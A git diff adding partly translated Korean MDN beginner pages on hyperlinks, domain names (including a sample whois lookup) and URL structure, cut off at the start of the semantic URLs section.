diff --git a/files/ko/learn/common_questions/what_are_hyperlinks/index.html b/files/ko/learn/common_questions/what_are_hyperlinks/index.html
new file mode 100644
index 0000000000..e036903bd6
--- /dev/null
+++ b/files/ko/learn/common_questions/what_are_hyperlinks/index.html
@@ -0,0 +1,91 @@
+---
+title: What are hyperlinks?
+slug: Learn/Common_questions/What_are_hyperlinks
+translation_of: Learn/Common_questions/What_are_hyperlinks
+---
+<div class="summary">
+<p>이 글에서, 우리는 하이퍼링크가 무엇이고 왜 중요한지를 살필 것이다.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수지식:</th>
+   <td><a href="/en-US/Learn/How_the_Internet_works">인터넷이 작동하는 법</a>을 알아야 하고 <a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">웹 페이지, 웹사이트, 웹 서버 그리고 검색엔진의 차이</a>에 익숙해야 한다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>하이퍼링크가 무엇이고 왜 중요한지를 배울 것이다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="요약">요약</h2>
+
+<p>보통 링크라고 불리는 하이퍼링크는 웹에서 기본적인 개념이다. 링크가 무엇인 지 설명하기 위해, 웹의 매우 기본적인 구조로 돌아볼 필요가 있다.</p>
+
+<p>1989년으로 돌아가, 웹의 발명가인 Tim Berners-Lee는 웹을 대표하는 3가지 축에 대해 말하였다. :</p>
+
+<ol>
+ <li>{{Glossary("URL")}}, 웹 문서를 추적하는 주소 시스템</li>
+ <li>{{Glossary("HTTP")}}, URL들이 주어졌을 때, 문서들을 찾는 전송 프로토콜</li>
+ <li>{{Glossary("HTML")}}, 내장된 <em>hyperlinks </em>를 허용하는 문서 형식</li>
+</ol>
+
+<p>3가지 축에서 본 것처럼, 웹에 대한 모든 것들은 문서들과 어떻게 문서에 접근할 것인 지에 관련되어 있다. 웹의 기본 목적은 텍스트 문서를 통해서 도달하고, 읽고, 찾기쉬운 방식을 제공하는 것이다. 그리고 나서, 웹은 이미지와 동영상, 이진 데이터에 접근하는 것을 제공하도록 진화했다. 그러나, 이런 발전은 3가지 축은 거의 바꾸지 못 하였다.</p>
+
+<p>웹 이전에는, 문서에 접근하고 문서끼리 이동하는 것은 꽤 어려웠다. 인간이 읽을 수 있는 URL은 이런 것들을 훨씬 쉽게 만들었다. 하지만, 문서에 접근할 때마다 긴 URL을 타이핑하는 것은 어려웠다. 이것이 하이퍼링크가 개혁한 모든 것이다. 링크는 URL을 가진 텍스트와 연결될 수 있다. 그렇게 된 링크를 활성화함으로써, 타겟 문서에 즉시 도달할 수 있다.</p>
+
+<p>기본적으로 파란색으로 밑줄이 된 링크는 주위 텍스트에서 보여진다. 활성화하기 위해 링크를 클릭하거나 Tab키로 링크를 선택하고 Enter키나 Space바를 누르면 된다.</p>
+
+<p><img alt="Example of a basic display and effect of a link in a web page" src="https://mdn.mozillademos.org/files/8625/link-1.png" style="height: 492px; width: 477px;"></p>
+
+<p>링크는 웹을 유용하고 성공적으로 만든 돌파구이다. 이 글의 나머지엔, 다양한 유형의 링크와 현대 웹 디자인의 중요성을 얘기할 것이다.</p>
+
+<h2 id="깊게_들어가기">깊게 들어가기</h2>
+
+<p>다시 말하면, 링크는 URL이 연결된 텍스트이다. 그리고, 링크를 사용하면, 하나의 문서에서 다른 문서로 쉽게 이동할 수 있다. 이런 내용들을 말하다보면, 몇몇의 생각해볼 뉘앙스차이가 있다.</p>
+
+<h3 id="링크의_유형들">링크의 유형들</h3>
+
+<dl>
+ <dt>Internal link(내부 링크)</dt>
+ <dd>당신의 웹사이트에 속하는 두 개의 웹사이트 사이의 링크는 내부 링크라고 불린다. 내부 링크가 없다면, 웹 사이트와 같은 것은 없을 것이다. (물론, 한 페이지의 웹 사이트 빼고).</dd>
+ <dt>External link(외부 링크)</dt>
+ <dd>당신의 웹사이트에서 다른 사람의 웹사이트로 가는 링크이다. 외부 링크가 없다면, 웹이 존재하지 않는다. 왜냐하면 웹은 웹페이지들의 네트워크이기 때문이다. 당신이 유지하는 내용 외의 정보를 제공하기위해 외부 링크를 사용해라.</dd>
+ <dt>Incoming links(들어오는 링크)</dt>
+ <dd>다른 사람의 웹 사이트에서 당신의 사이트로 가는 링크이다. 단지 외부링크의 반대이다. 누군가 당신의 사이트로 링크를 걸 때 당신이 역으로 링크를 걸 필요하는 없다는 것을 기록해라.</dd>
+</dl>
+
+<p>당신이 웹사이트를 구축할 때, 내부링크에 집중해야 한다. 왜냐하면 내부링크가 당신의 사이트를 사용가능하게 해주기 때문이다. 링크가 너무 많거나 너무 적지 않게 좋은 밸런스를 찾아야 한다. 우리는 다른 글에서 웹 사이트 네비게이션을 디자인하는 것에 대해 이야기 할 것이다. 그러나 룰로써, 당신이 새 웹페이지를 추가할 때마다, 적어도 당신의 1개 이상의 페이지에는 새 페이지에 대한 링크를 걸어야 한다. 반면에, 만약 당신의 사이트가 10페이지 이상이라면, 모든 페이지에 링크를 거는 것은 역효과이다.</p>
+
+<p>당신이 처음 시작할 때, 외부와 들어오는 링크를 많이 걱정할 필요가 없다. 그러나, 그것들은 검색 엔진에서 당신의 사이트를 찾을 때, 매우 중요하다. (자세한 사항은 밑에 있다.)</p>
+
+<h3 id="Anchors(앵커)">Anchors(앵커)</h3>
+
+<p>대부분의 링크는 두 개의 웹사이트를 연결한다. <strong>앵커</strong>는한 문서에서 다른 부분들을 연결한다. 앵커가 가리키는 링크를 따라가면, 브라우저는 새 문서를 불러오는 것 대신에 현재 문서의 다른 부분으로 이동한다. 그러나 다른 링크과 같은 방식으로 만들고 사용한다.</p>
+
+<p><img alt="Example of a basic display and effect of an anchor in a web page" src="https://mdn.mozillademos.org/files/8627/link-2.png" style="height: 492px; width: 477px;"></p>
+
+<h3 id="링크와_검색엔진">링크와 검색엔진</h3>
+
+<p>링크는 유저와 검색엔진 모두에게 중요하다. 검색 엔진이 웹페이지를 크롤링할 때마다, 검색엔진은 웹 페이지에서 이용가능한 링크를 따라가면서 웹 사이트를 인덱싱한다. 검색 엔진이 웹 사이트의 다양한 페이지를 발견하기 위해 링크를 따라가는 것뿐만 아니라 타켓 웹페이지에 도달하기 위해 어떤 검색 쿼리가 적절한 지를 결정하기 위해 링크의 텍스트를 사용한다.</p>
+
+<p>그래서 링크는 얼마나 쉽게 검색 엔진이 너의 사이트를 찾는 지에 영향을 미친다. 문제는 검색 엔진의 활동을 측정하는 것은 어렵다. 회사들은 그들의 사이트가 검색 결과에 높은 랭크가 되기를 자연스럽게 원한다. 그리고, 모든 연구 결과는 적어도 몇몇은 분명하게 해준다.</p>
+
+<ul>
+ <li>링크의 <em>텍스트</em>는 어떤 컴색 쿼리들이 주어진 URL을 찾는 지에 영향을 미친다.</li>
+ <li>웹 페이지가 더 많은 <em>들어오는 링크</em>를 자랑할 수 있다면, 검색 결과 랭킹은 더 높이진다.</li>
+ <li><em>외부 링크</em>는 소스 웹페이와 타겟 웹페이지의 검색 랭킹에 영향을 미친다. 그러나 얼마나 많은 지는 분명치 않다.</li>
+</ul>
+
+<p><a href="http://en.wikipedia.org/wiki/Search_engine_optimization">SEO</a> (search engine optimization, 검색 엔진 최적화)는 검색 결과에 웹페이지 랭크를 높게 만드는 법에 대한 연구이다. 웹페이지의 링크 사용을 증가시키는 것이 유용한 SEO 기법이다.</p>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>그래서 이젠, 당신은 링크가 있는 웹페이지들을 설정하고 싶을 것이다!</p>
+
+<ul>
+ <li>더 많은 이론적인 배경을 배우기 위해, <a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">URLs 과 구조</a>를 배울 것이다. 왜냐하면 모든 링크는 URL을 가리키기 때문이다.</li>
+ <li>좀 더 실용적인 것을 원하나요? <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 도입</a> 중 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">하이퍼 링크 만들기</a> 모듈은 링크를 구현하는 법에 대한 상세한 내용을 설명한다.</li>
+</ul>
diff --git a/files/ko/learn/common_questions/what_is_a_domain_name/index.html b/files/ko/learn/common_questions/what_is_a_domain_name/index.html
new file mode 100644
index 0000000000..8fecee0342
--- /dev/null
+++ b/files/ko/learn/common_questions/what_is_a_domain_name/index.html
@@ -0,0 +1,149 @@
+---
+title: What is a domain name?
+slug: Learn/Common_questions/What_is_a_domain_name
+translation_of: Learn/Common_questions/What_is_a_domain_name
+---
+<div class="summary">
+<p>이 글에서 domain name(도메인명)에 대해 다룹니다. : 도메인이 무엇인 지, 어떻게 구성되어있는지, 도메인을 어떻게 얻을 수 있는지.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행사항:</th>
+   <td>우선, <a href="/en-US/docs/Learn/How_the_Internet_works">인터넷이 작동하는 법</a>을 알 필요가 있고, <a href="/en-US/Learn/Understanding_URLs">무엇이 URLs 인 지 이해할 필요가 있다.</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>도메인 이름이 무엇인 지에 배우고 그것들이 어떻게 작동하고 왜 중요한 지에 대해 배운다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="요약">요약</h2>
+
+<p><span class="seoSummary">도메인 이름은 인터넷 인프라의 핵심 부분입니다. 인터넷에서 사용할 수있는 모든 웹 서버에 대해 사람이 읽을 수있는 주소를 제공합니다.</span></p>
+
+<p>Any Internet-connected computer can be reached through a public {{Glossary("IP")}} Address, which consists of 32 bits for IPv4 (they are usually written as four numbers between 0 and 255, separated by dots (e.g., <code>173.194.121.32</code>) or which consists of 128 bits for IPv6 (they are usually written as eight groups of 4 hexadecimal numbers, separated by colons (e.g., <code>2027:0da8:8b73:0000:0000:8a2e:0370:1337</code>). Computers can handle those addresses easily, but people have a hard time finding out who's running the server or what service the website offers. IP addresses are hard to remember and might change over time. To solve all those problems we use human-readable addresses called domain names.</p>
+
+<h2 id="Active_Learning">Active Learning</h2>
+
+<p><em>아직 이용가능한 Active Learning이 없습니다. <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
+
+<h2 id="Deeper_dive">Deeper dive</h2>
+
+<h3 id="Domain_name의_구조">Domain name의 구조</h3>
+
+<p>도메인 이름은 몇개의 파트로 이루어진 간단한 구조를 이루고 있습니다. 점으로 구분하고 오른쪽에서 왼쪽으로 읽습니다.</p>
+
+<p><img alt="Anatomy of the MDN domain name" src="https://mdn.mozillademos.org/files/11229/structure.png" style="height: 76px; width: 252px;"></p>
+
+<p>각각의 파트들은 전체 도메인 이름에 대해 특별한 정보를 제공합니다. </p>
+
+<dl>
+ <dt>{{Glossary("TLD")}} (Top-Level Domain; 최고레벨 도메인).</dt>
+ <dd>TLD은 가장 일반적인 정보를 제공합니다. TLDs tell users the general purpose of the service behind the domain name. The most generic TLDs (.com, .org, .net) don't require web services to meet strict criteria, but some TLDs enforce stricter policies. For example, local TLDs such as .us, .fr, or .sh can require the service to be provided in a given language or hosted in a certain country.</dd>
+ <dt>Label (or component)</dt>
+ <dd>The labels are what follow the TLD. A label can be anything, from one letter to a full sentence. The label located right before the TLD can also be referred as a <em>Secondary Level Domain</em> (SLD). A domain name can have many labels (or components), it is not mandatory nor necessary to have 3 labels to form a domain name. For instance, www.inf.ed.ac.uk is a correct domain name. When controlling the "upper" part of a domain name (e.g. <a href="https://mozilla.org">mozilla.org</a>), one can create other domain names (sometimes called "subdomains") (e.g. <a href="https://developer.mozilla.org">developer.mozilla.org</a>).</dd>
+</dl>
+
+<h3 id="Domain_name_구매하기">Domain name 구매하기</h3>
+
+<h4 id="누가_도메인_이름을_갖고_있나요">누가 도메인 이름을 갖고 있나요?</h4>
+
+<p>You cannot “buy a domain name”. You pay for the right to use a domain name for one or more years. You can renew your right, and your renewal has priority over other people's applications. But you never own the domain name.</p>
+
+<p>Companies called registrars use domain name registries to keep track of technical and administrative information connecting you to your domain name.</p>
+
+<div class="note">
+<p><strong>Note : </strong>For some domain name, it might not be a registrar which is in charge of keeping track. For instance, every domain name under .fire is managed by Amazon.</p>
+</div>
+
+<h4 id="이용가능한_Domain_Name_찾기">이용가능한 Domain Name 찾기</h4>
+
+<p>To find out whether a given domain name is available,</p>
+
+<ul>
+ <li>Go to a domain name registrar's website. Most of them provide a “whois” service that tells you whether a domain name is available.</li>
+ <li>Alternatively, if you use a system with a built-in shell, type a <code>whois</code> command into it, as shown here for <code>mozilla.org</code>:</li>
+</ul>
+
+<pre>$ whois mozilla.org
+Domain Name:MOZILLA.ORG
+Domain ID: D1409563-LROR
+Creation Date: 1998-01-24T05:00:00Z
+Updated Date: 2013-12-08T01:16:57Z
+Registry Expiry Date: 2015-01-23T05:00:00Z
+Sponsoring Registrar:MarkMonitor Inc. (R37-LROR)
+Sponsoring Registrar IANA ID: 292
+WHOIS Server:
+Referral URL:
+Domain Status: clientDeleteProhibited
+Domain Status: clientTransferProhibited
+Domain Status: clientUpdateProhibited
+Registrant ID:mmr-33684
+Registrant Name:DNS Admin
+Registrant Organization:Mozilla Foundation
+Registrant Street: 650 Castro St Ste 300
+Registrant City:Mountain View
+Registrant State/Province:CA
+Registrant Postal Code:94041
+Registrant Country:US
+Registrant Phone:+1.6509030800
+</pre>
+
+<p>보시는 바와 같이 <code>mozilla.org</code>는 Mozilla Foundation에 의해 이미 등록되어 있기 때문에 등록이 안되네요.</p>
+
+<p><code>afunkydomainname.org</code>을 등록하는 것도 봅시다</p>
+
+<pre>$ whois afunkydomainname.org
+NOT FOUND
+</pre>
+
+<p>위에 나온 것 같이 도메인이 <code>whois</code> 데이터베이스에 존재하지 않네요. 따라서 이건 등록할수 있습니다. 좋은 정보네요.</p>
+
+<h4 id="도메인_네임_얻기">도메인 네임 얻기</h4>
+
+<p>과정은 다음과 같습니다.</p>
+
+<ol>
+ <li>등록 웹사이트로 가세요.</li>
+ <li>일반적으로 눈에 ㄸㅟ게 “Get a domain name” 이라는 글자가 있을거에요. 클릭하세요.</li>
+ <li>요구하는 상세 정보를 채우세요. 그리고 특별히 원하는 도메인 네임의 스펠링을 정확하게 입력했는지 다시한번 확인해주세요. 한번 지불하면 돌이킬 수 없습니다.</li>
+ <li>등록이 잘 되었다면 등록 웹사이트에서 연락이 올 것입니다. 그리고 몇시간내로 모든 DNS 서버들이 당신의 DNS 정보를 받을거구요.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note:</strong> In this process the registrar asks you for your real-world address. Make sure you fill it properly, since in some countries registrars may be forced to close the domain if they cannot provide a valid address.</p>
+</div>
+
+<h4 id="DNS_갱신">DNS 갱신</h4>
+
+<p>DNS databases are stored on every DNS server worldwide, and all these servers refer to a few ones called “authoritative name server” or “top-level DNS servers.” Whenever your registrar creates or updates any information for a given domain, the information must be refreshed in every DNS database. Each DNS server that knows about a given domain stores the information for some time before it is automatically invalidated and then refreshed (the DNS server queries an authoritative server again). Thus, it takes some time for DNS servers that know about this domain name to get the up-to-date information.</p>
+
+<div class="note">
+<p><strong>Note :</strong> This time is often called <strong>propagation time</strong>. However this term is not precise since the update is not propagating itself (top → down). DNS servers queried by your computer (down) are the ones that fetch the information from the authoritative server (top) when they need it.</p>
+</div>
+
+<h3 id="DNS_리퀘스트는_어떻게_작동할까요">DNS 리퀘스트는 어떻게 작동할까요?</h3>
+
+<p>As we already saw, when you want to display a webpage in your browser it's easier to type a domain name than an IP address. Let's take a look at the process:</p>
+
+<ol>
+ <li>Type <code>mozilla.org</code> in your browser's location bar.</li>
+ <li>Your browser asks your computer if it already recognizes the IP address identified by this domain name (using a local DNS cache). If it does, the name is translated to the IP address and the browser negotiates contents with the web server. End of story.</li>
+ <li>If your computer does not know which IP is behind the <code>mozilla.org</code> name, it goes on to ask a DNS server, whose job is precisely to tell your computer which IP address matches each registered domain name.</li>
+ <li>Now that the computer knows the requested IP address, your browser can negotiate contents with the web server.</li>
+</ol>
+
+<p><img alt="Explanation of the steps needed to obtain the result to a DNS request" src="https://mdn.mozillademos.org/files/8961/2014-10-dns-request2.png" style="height: 702px; width: 544px;"></p>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>지금까지 많은 프로세스와 architecture에 대해 이야기 했으니 이제 다음으로 넘어갈 시간이네요.</p>
+
+<ul>
+ <li>If you want to get hands-on, it's a good time to start digging into design and explore <a href="/en-US/Learn/Anatomy_of_a_web_page">the anatomy of a web page</a>.</li>
+ <li>It's also worth noting that some aspects of building a website cost money. Please refer to <a href="/en-US/docs/Learn/How_much_does_it_cost">how much it costs to build a web site</a>.</li>
+ <li>Or read more about <a href="http://en.wikipedia.org/wiki/Domain_name">Domain Name</a> on Wikipedia.</li>
+</ul>
diff --git a/files/ko/learn/common_questions/what_is_a_url/index.html b/files/ko/learn/common_questions/what_is_a_url/index.html
new file mode 100644
index 0000000000..cc203af11b
--- /dev/null
+++ b/files/ko/learn/common_questions/what_is_a_url/index.html
@@ -0,0 +1,158 @@
+---
+title: What is a URL?
+slug: Learn/Common_questions/What_is_a_URL
+tags:
+  - URL
+  - urls
+  - 자원
+  - 초급자
+  - 초보자
+translation_of: Learn/Common_questions/What_is_a_URL
+---
+<div class="summary">
+<p>이 글은 Uniform Resource Locators (URLs) 를 설명한다. 또한, URL이 무엇이고 어떻게 구성되어 있는 지도 설명한다.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수지식:</th>
+   <td><a href="/en-US/docs/Learn/How_the_Internet_works">인터넷이 작동하는 법</a>, <a href="/en-US/docs/Learn/What_is_a_Web_server">웹서버가 무엇인가</a> 그리고 <a href="/en-US/docs/Learn/Understanding_links_on_the_web">웹상의 링크 속에 있는 개념</a>에 대해 먼저 알아야 한다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>URL을 배울 것이고, 웹에서 어떻게 URL이 작동하는 지 배운다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="요약">요약</h2>
+
+<p><span class="seoSummary">{{Glossary("Hypertext")}} 와 {{Glossary("HTTP")}} 함께, <strong><dfn>URL</dfn></strong> 은 웹에서 중요한 개념 중 하나이다.  URL은 웹에 게시된 어떤 자원을 찾기 위해서 {{Glossary("Browser","browsers")}}에 의해 사용되는 메카니즘이다 .</span></p>
+
+<p><strong>URL</strong> 은 <em>Uniform Resource Locator</em>(인터넷에서 자원 위치)을 나타낸다. URL은 웹에서 정해진 유일한 자원의 주소일 뿐이다. 이론적으로, 각각의 유일한 URL은 유일한 자원을 가리킨다. 그런 자원은 HTML 페이지, CSS 문서, 이미지 등이 될 수 있다. 실제로, 여러 예외가 있는데, 가장 흔한 URL은 더 이상 존재하지 않는 자원이나 옮겨진 자원을 가리키는 것이다.  URL에 의해 표현된 자원과 URL 자체는 웹서버에 의해 다루어지기 때문에, 자원과 관련 URL을 주의 깊게 관리하기 위해서 웹서버의 소유자에게 달려있다..</p>
+
+<h2 id="Active_Learning(능동_학습)">Active Learning(능동 학습)</h2>
+
+<p><em>아직 이용 가능한 능동학습이 없습니다. <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
+
+<h2 id="깊게_들어가기">깊게 들어가기</h2>
+
+<h3 id="기본_URL의_구조">기본: URL의 구조</h3>
+
+<p>여기에 URL의 예제들이 있습니다:</p>
+
+<pre>https://developer.mozilla.org
+https://developer.mozilla.org/en-US/docs/Learn/
+https://developer.mozilla.org/en-US/search?q=URL</pre>
+
+<p>관련 페이지를 불러오기 위해서, 저 URL들 중 어떤 것이든 주소 창에 적을 수 있습니다. (자원).</p>
+
+<p>URL 은 다른 파트들과, 몇몇의 의무와 선택사항들로 구성됩니다. 다음 URL을 사용하여 가장 중요한 부분을 봅시다:</p>
+
+<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&amp;key2=value2#SomewhereInTheDocument</pre>
+
+<dl>
+ <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/15766/mdn-url-protocol@x2_update.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>http</code> 는 프로토콜(규약)입니다. URL의 첫 파트는 브라우저가 어떤 규약을 사용해야 하는 지를 나타냅니다. 프로토콜은 컴퓨터 네트워크에서 데이터를 교환하거나 전송하기 위한 방법들의 세트입니다. 보통 웹사이트들을 위해, 이것은 HTTP 프로토콜이나 HTTP 프로토콜의 보안 버전입니다. 웹은 이 두 가지 중 하나를 요구합니다, 그러나 브라우저는 <code>mailto:</code> (메일 클라이언트를 열기 위한) 또는 파일을 전송하기 위해 <code>ftp:</code> 와 같은 다른 프로토콜들을 다루는 법 또한 알고 있습니다, 그러므로 만약 이런 프로토콜들을 보더라도 놀라지 마십시오.</dd>
+ <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>www.example.com</code> 은 도메인 이름입니다. 이것은 어떤 웹 서버가 요구되는 것인 지를 가리킵니다. 대안으로, 직접 {{Glossary("IP address")}}를 사용하는 것도 가능합니다, 그러나 덜 편리하기 때문에, 그것은 웹에서 주로 사용되지는 않습니다.</dd>
+ <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>:80</code> 은 포트입니다. 이것은 기술적으로 웹서버에서 자원을 접근하기 위해 사용하는 "관문(gate)"을 가리킵니다. 만약 웹서버가 자원의 접근 하기 위해 표준 HTTP 포트 (HTTP를 위한 80, HTTPS를 위한 443)를 사용한다면, 포트 번호는 보통 생략합니다. 그렇지 않으면 포트 번호는 필수입니다.</dd>
+ <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>/path/to/myfile.html</code> 은 웹서버에서 자원에 대한 경로입니다. 초기의 웹에서는, 웹서버상에서 물리적 파일 위치를 나타냈습니다. 요즘에는, 실제 물리적 경로를 나타내지 않고, 웹 서버에서 추상화하여 보여줍니다.</dd>
+ <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>?key1=value1&amp;key2=value2</code> 는 웹서버에 제공하는 추가 파라미터입니다. 이 파라미터들은 <code>&amp;</code> 기호로 구분된 키/값으로 짝을 이룬 리스트입니다. 웹 서버는 자원을 반환하기 전에 추가적인 작업을 위해 이런 파라미터들을 사용할 수 있습니다. 각각의 웹서버는 파라미터들을 언급하는 자신의 규칙을 갖고 있습니다. 그리고, 특정한 웹서버가 파라미터를 다루는 지 알기 위한 유일한 방법은 웹서버 소유자에게 묻는 것입니다.</dd>
+ <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>#SomewhereInTheDocument</code> 는 자원 자체의 다른 부분에 대한 anchor(닻) 입니다. An anchor 는 일종의 자원 안에서 "bookmark" 입니다. 즉, "bookmarked" 지점에 위치된 내용을 보여주기 위해 브라우저에게 방향을 알려줍니다. 예를 들어, HTML 문서에서 브라우저는 anchor가 정의한 곳의 점을 스크롤할 것입니다; 비디오나 오디오 문서에서, 브라우저는 앵커가 나타내는 시간을 찾으려 할 것입니다. <strong>#</strong>뒤에 오는 부분은 가치가 없습니다. 또한,<em> <strong>fragment identifier(부분 식별자)</strong> 라고 알려져, 요청이 서버에 절대 보내지지 않습니다.</em></dd>
+</dl>
+
+<p>{{Note('URLs을 말하면 <a href="http://en.wikipedia.org/wiki/Uniform_Resource_Locator">몇몇의 추가적인 부분과 규칙</a>이 있다, 그러나 그것들은 일반적인 유저와 웹 개발자들에게 상관이 없다. 이것에 대해 걱정하지 말고, 완전한 기능적인 URLs를 구축하고 사용하기 위해 알 필요는 없다.')}}</p>
+
+<p>당신은 일반적인 우편 메일 주소처럼 URL을 생각할 것이다: <em>프로토콜</em>은 사용하고 싶은 우편 서비스다, <em>도메인 이름</em>은 도시나 마을이다, 그리고 <em>포트</em> 우편 번호이다; <em>경로</em>는 메일이 전달되어야 하는 건물을 나타낸다; <em>파라미터</em>는 건물 번호와 같은 정보를 나타낸다; 그리고, 마지막으로, <em>anchor(앵커)</em>는 메일을 받는 실제 사람을 나타낸다.</p>
+
+<h3 id="URLs_을_사용하는_법">URLs 을 사용하는 법</h3>
+
+<p>어떤 URL이든 자원을 얻기 위해 브라우저의 주소창에 올바르게 적으면 된다!</p>
+
+<p>{{Glossary("HTML")}} 언어 — <a href="/en-US/docs/Learn/HTML/HTML_tags">나중에 이야기할 것</a> — 가 URLs을 광범위하게 사용하게 만들었다:</p>
+
+<ul>
+ <li>{{HTMLElement("a")}} 요소로 다른 문서와의 링크를 만들기 위해;</li>
+ <li>{{HTMLElement("link")}} 또는 {{HTMLElement("script")}}처럼 다양한 요소를 통해서 관련된 자원을 가진 문서를 연결시키기 위해;</li>
+ <li>이미지 ({{HTMLElement("img")}} 요소), 비디오 ({{HTMLElement("video")}} 요소), 소리 또는 음악 ({{HTMLElement("audio")}} 요소), 등과 같은 미디어를 보여주기 위해;</li>
+ <li>{{HTMLElement("iframe")}} 요소를 다른 HTML 문서에 보여주기 위해.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> 한 페이지의 일부로서, 자원을 불러오기 위해 URLs 특정할 때, (<code>&lt;script&gt;</code>, <code>&lt;audio&gt;</code>, <code>&lt;img&gt;</code>, <code>&lt;video&gt;</code>, 와 같은 것을 사용할 때 처럼), 오직 HTTP와 HTTPS URL을 사용해야만 한다. 예를 들어, FTP를 사용하는 것은 부분적으로 안전하지 않고, 더 이상 많은 브라우저에서 지원하지 않는다.</p>
+</div>
+
+<p>{{Glossary("CSS")}} 또는 {{Glossary("JavaScript")}}와 같은 다른 기술들은 URLs를 광범위하게 사용한다 그리고, 이런 것들이 정말로 웹의 심장이다.</p>
+
+<h3 id="절대_URLs_vs_상대_URLs">절대 URLs vs 상대 URLs</h3>
+
+<p>우리가 위에서 얘기한 것은 <em>절대 URL</em> 이다. 그러나 또한 <em>상대 URL</em>도 있다. 그 차이가 의미하는 것을 더 자세히 알아봅시다.</p>
+
+<p>요구한 부분의 URL은 URL이 사용되는 문맥에서 크게 의존한다. 브라우저의 주소바에서, URL은 어떤 문맥도 가지고 있지 않다, 그래서 위에서 본 것 처럼 전체 (또는 <em>절대</em>) URL을 제공해야 한다. 프로토콜(브라우저는 기본적으로 HTTP 를 사용한다)또는 포트(해당 웹서버가 몇몇의 흔치 않은 포트를 사용할 때만 요구한다.)를 포함할 필요는 없다. 그러나, URL의 모든 다른 부분(part)은 필요하다.</p>
+
+<p>URL이 HTML 페이지와 같은 문서 내에서 사용될 때는 조금 다르다. 왜냐하면, 브라우저는 이미 문서의 자체 URL을 갖고 있기 때문에, 문서 내에서 이용가능한 어떤 URL의 잃어버린 부분(part)에 정보를 채우기 위해 사용한다. 오직 URL의 <em>path </em>부분을 보면, <em>절대 URL</em>과 <em>상대 URL</em>을 구별할 수 있다. 만약 URL의 경로 부분이 <code>"/</code>" 문자로 시작한다면, 그 브라우저는 현재 문서에서 주어진 문맥에서 참조없이, 서버의 루트(top root)에서 자원을 가지고 올 것이다.</p>
+
+<p>더 분명하게 알기 위해 예제를 봅시다.</p>
+
+<h4 id="절대_URLs의_예">절대 URLs의 예</h4>
+
+<dl>
+ <dt>전체 URL (이전에 사용한 것과 같은)</dt>
+ <dd>
+ <pre>https://developer.mozilla.org/en-US/docs/Learn</pre>
+ </dd>
+ <dt>내포된 프로토콜</dt>
+ <dd>
+ <pre>//developer.mozilla.org/en-US/docs/Learn</pre>
+
+ <p>이 경우에, 브라우저는 URL을 호스팅한 문서를 불러오기 위해 사용한 것과 같은 프로토콜을 가진 URL을 부를 것이다.</p>
+ </dd>
+ <dt>내포된 도메인명</dt>
+ <dd>
+ <pre>/en-US/docs/Learn</pre>
+
+ <p>이것은 HTML 문서 내에서 절대 URL을 위한 가장 흔한 사용법이다. 브라우저는 같은 프로토콜과 그 URL을 호스팅한 문서를 불러오기 위해 사용한 것과 같은 도메인명을 사용할 것이다. <strong>Note:</strong> <em>프로토콜을 생략하는 것 없이, 도메인명을 생략하는 것을 가능하지 않다</em>.</p>
+ </dd>
+</dl>
+
+<h4 id="상대_URLs의_예">상대 URLs의 예</h4>
+
+<p>다음의 예를 더 잘 이해하기 위해, URL은 다음의 URL이 위치한 문서 내에서 불린다고 가정해봅시다: <code>https://developer.mozilla.org/en-US/docs/Learn</code></p>
+
+<dl>
+ <dt>Sub-resources</dt>
+ <dd>
+ <pre>Skills/Infrastructure/Understanding_URLs
+</pre>
+ URL이 <code>/</code>로 시작하지 않기 때문에, 브라우저는 현재 자원을 포함하는 서브 디렉토리에 있는 문서를 찾으려 할 것이다. 그래서 예를 들어, 이 URL에 도달하길 원하는 것이다: <code>https://developer.mozilla.org/en-US/docs/Learn/Skills/Infrastructure/Understanding_URLs</code></dd>
+ <dt>디렉토리 트리에서 뒤로 가기</dt>
+ <dd>
+ <pre>../CSS/display</pre>
+
+ <p>이 경우에, <code>../</code> 를 쓰는 것을 관례로 사용한다 — UNIX 파일 시스템에서 유래했다 — 브라우저에게 한 디렉토리에서 상위로 가고 싶다고 말하는 것이다. 여기서, 이 URL에 도달하고 싶은 것이다: <code>https://developer.mozilla.org/en-US/docs/Learn/../CSS/display</code>, 이렇게 단순화 된다: <code>https://developer.mozilla.org/en-US/docs/CSS/display</code></p>
+ </dd>
+</dl>
+
+<h3 id="Semantic(의미있는)_URLs">Semantic(의미있는) URLs</h3>
+
